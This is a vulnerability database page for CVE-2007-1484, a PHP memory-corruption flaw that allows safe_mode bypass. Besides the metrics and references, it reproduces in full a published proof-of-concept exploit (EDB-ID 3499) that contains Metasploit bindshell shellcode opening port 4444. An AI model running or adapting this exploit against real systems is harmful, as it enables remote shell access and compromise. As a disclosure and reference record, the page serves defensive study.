CVE-2007-1484 : Detail

CVE-2007-1484

0.04%V3
Local
2007-03-16
20h00 +00:00
2007-04-12
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

The array_user_key_compare function in PHP 4.4.6 and earlier, and 5.x up to 5.2.1, makes erroneous calls to zval_dtor, which triggers memory corruption and allows local users to bypass safe_mode and execute arbitrary code via a certain unset operation after array_user_key_compare has been called.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3499

Publication date : 2007-03-15 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 4/5 - array_user_key_compare() ZVAL dtor exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // You can put in any shellcode you want. Just make sure that the // shellcode string starts with enough NOP space // NOPSPACE $shellcode = str_repeat(chr(0x90), 710); // A bindshell on port 4444 generated by Metsploit $shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; $arr = array(str_repeat("A", 39) => 1, "B" => 1); function array_compare(&$key1, &$key2) { $GLOBALS['a'] = &$key2; unset($key2); return 1; } uksort($arr, "array_compare"); $x=array($shellcode => 1); $a[8*4+0] = $a[6*4+0]; $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian $a[8*4+2] = $a[6*4+2]; $a[8*4+3] = $a[6*4+3]; unset($x); ?> # milw0rm.com [2007-03-16]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 4.4.6

Php>>Php >> Version From (including) 5.0.0 To (including) 5.2.1

References

http://www.securityfocus.com/bid/22990
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/2732
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24542
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200705-19.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://us2.php.net/releases/4_4_7.php
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/usn-455-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://us2.php.net/releases/5_2_2.php
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/25159
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/25445
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25057
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26235
Tags : third-party-advisory, x_refsource_SECUNIA